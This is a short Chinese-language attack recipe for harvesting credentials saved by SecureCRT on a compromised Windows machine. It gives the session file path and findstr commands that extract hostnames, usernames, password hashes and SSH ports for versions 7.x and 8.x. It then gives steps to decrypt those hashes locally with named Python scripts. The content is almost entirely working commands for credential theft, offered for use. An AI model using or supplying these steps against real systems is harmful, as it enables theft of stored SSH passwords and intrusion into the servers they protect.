实际使用
找到目标securecrt保存在本地的所有连接会话文件，默认都存放在当前用户数据目录下的Config目录下的Sessions目录中,以.ini命名
%APPDATA%\VanDyke\Config\Sessions
C:\Users\yang\AppData\Roaming\VanDyke\Config\Sessions

图形化也可以直接拿到路径

第一种
进入目录提取文件中的连接IP、端口、账号、hash
7.X：
findstr /si /c:"Hostname" /c:"\"Username\"=" /c:"\"Password\"=" /c:"\"[SSH2] Port\"=" *.ini
8.X:
findstr /si /c:"Hostname" /c:"\"Username\"=" /c:"\"Password V2\"=" /c:"\"[SSH2] Port\"=" *.ini
密码拿回本地进行解密即可
7.X，注意去除第一位 "u":
python3 SecureCRTCipher.py dec hash
8.X，注意去除前面三位 "02:":
python3 SecureCRTCipher.py dec -v2 hash

第二种
这个其实适合7.X以下的版本
python3 SecureCRT-decryptpass.py 127.0.0.1.ini
